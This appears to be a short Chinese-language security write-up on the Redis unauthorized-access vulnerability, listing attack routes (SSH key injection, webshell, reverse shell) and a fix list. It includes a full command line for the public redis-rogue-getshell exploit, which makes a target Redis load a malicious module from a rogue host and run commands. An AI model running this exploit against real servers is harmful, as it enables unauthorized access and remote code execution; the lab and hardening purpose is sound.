0x01 Redis是什么?
Redis是数据库,一个高性能的key-value存储系统,是使用ANSI C语言编写的。
0x02 Redis未授权访问漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
0x03 影响版本
影响版本Redis未授权访问在4.x/5.0.5版本以下
0x04 攻击手段
1.直接未授权访问,对redis数据库的操作
2.ssh免密钥登录(有思维导图)
3.对redis数据库写马子拿shell,与第二点条件和思路差不多
4.写进反弹shell,设置反弹时间反弹。
5.利用现有exp
0x05 漏洞复现(利用现有exp)
poc地址:
https://github.com/vulhub/redis-rogue-getshell
编译
攻击
python3 redis-master.py -h
python3 redis-master.py -r 192.168.227.128 -p 6379 -L 192.168.227.129 -P 8989 -f RedisModulesSDK/exp.so -c "id"
修复方案
1.禁止一些高危命令(重启redis才能生效)
2.以低权限运行 Redis 服务(重启redis才能生效)切身体会
3.为 Redis 添加密码验证(重启redis才能生效)
4.禁止外网访问 Redis(重启redis才能生效)
5.修改默认端口
6.保证 authorized_keys 文件的安全
7.设置防火墙策略